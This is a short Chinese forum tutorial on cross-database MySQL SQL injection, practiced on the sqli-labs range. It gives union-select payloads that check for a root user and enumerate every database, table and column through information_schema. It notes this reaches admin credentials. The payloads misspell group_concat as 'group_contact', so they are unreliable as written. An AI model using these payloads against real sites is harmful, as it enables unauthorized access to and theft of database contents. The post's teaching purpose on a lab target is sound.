MYSQL注入 跨库注入
这里首先说明,跨库注入只发生在mysql版本5.x以上的版本,且注入点需要为root。
上一帖子有写到可以用内置函数在回显点查询当前用户,也就是user()函数
会返回类似图1中的xx@xx,就是当前用户。
这里要说明,在mysql中,只有root用户享有最高权限,其他用户无论名字是什么,一概都是普通的权限。
顺便解答一下为什么跨库注入只发生在5.x以上的版本中,是因为在mysql5.x以上的版本中,自带了一个名为information_schema的数据库,这个数据库中包含了所有数据库的库,表,列名,可以通过他来查询任何一个数据库中的任何一个信息,当然,这要是root用户才可以。
下面看案例,老样子,依旧是sql libs的靶场
我们通过xxxx/?id=-1 union select 1,user(),3 查到了当前的注入点是root用户,如图2所示,那么我们就可以进行跨库注入
通过命名xxx/?id=-1 union select 1,group_contact(schema_name),3 from information_schema.schemata
来查询information-schema数据库下tables中的全部数据,也就是全部数据库表名,得到结果,有以上数据库。如图3
这就是所有数据库,接下来我们可以通过数据库名,结合上一帖子中的查询方法,查到任何一个数据库中的信息,包括管理员账号密码
xxx/?id=-1 union select 1,group_contact(table_name),3 from information_schema.tables where table_schema='test'
查询test库下的全部表名
xxx/?id=-1 union select 1,group_contact(column_name),3 from information_schema.columns where table_schema='test'
查询test库下全部列名,诸如此类语句可以自己构建[呼~][呼~]
水帖完成[笑眼]
http://cdn.u1.huluxia.com/g4/M01/CB/1C/rBAAdmJPW_eAfSFAAAAdRQEnZFg39.jpeghttp://cdn.u1.huluxia.com/g4/M01/CB/1C/rBAAdmJPW_iAIjZSAAOzZA1JYE038.jpeghttp://cdn.u1.huluxia.com/g4/M01/CB/1C/rBAAdmJPW_mAORORAAOX_ZX-cr496.jpeg
页:
[1]